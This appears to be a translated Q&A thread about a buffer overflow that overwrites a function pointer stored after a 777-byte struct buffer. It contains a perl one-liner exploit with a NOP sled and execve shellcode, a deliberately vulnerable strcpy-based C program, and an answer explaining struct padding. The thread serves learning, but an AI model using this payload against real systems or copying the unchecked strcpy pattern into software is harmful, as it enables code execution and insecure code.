Переполнение кучи - Структура кучи

Question

При попытке выполнить базовую атаку кучи я все понимаю, кроме размера входной строки. Следующий код может быть использован с использованием perl -e 'print "\x90" x (760) . "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x00\x98\x04\x08"' в качестве аргумента для программы. Используемый шеллкод имеет длину 21 байт. Размер общей строки здесь составляет 785 байт, что составляет 777 буфера + 4 того, что я не знаю, и 4 указателя функции, который мы переопределяем.

Я прочитал here, что 4 байта:

Указатель отслеживает верхнюю часть кучи, похожий на указатель стека стека

Является ли мое предположение верно?

#include <stdio.h> 
#include <unistd.h> 

void greetUser(char *s) { 
    printf("Hello %s!\n", s); 
} 

struct data_t { 
    char buf[777]; 
    void (*fp)(char *); 
} somedata; 

int main(int argc, char **argv) { 
    somedata.fp = &greetUser; 

    if(argc < 2) { 
    printf("Usage: %s YourName\n", argv[0]); 
    exit(1); 
    } 

    strcpy(somedata.buf, argv[1]); 
    (somedata.fp)(somedata.buf); 

    return 0; 
} 

Answer 1

Нет, это неверно. Вы просто должны переливаться 784 байта:

char buf[777];  // 777 bytes 
<padding>   // usually 7 bytes to have fp 8-byte-aligned 
void (*fp)(char *); // 8 bytes function pointer 

на 64-битных систем. В 32-битных системах fp должен быть выровнен по 4 байта (следовательно, fp запускает 780 байт после начала структуры)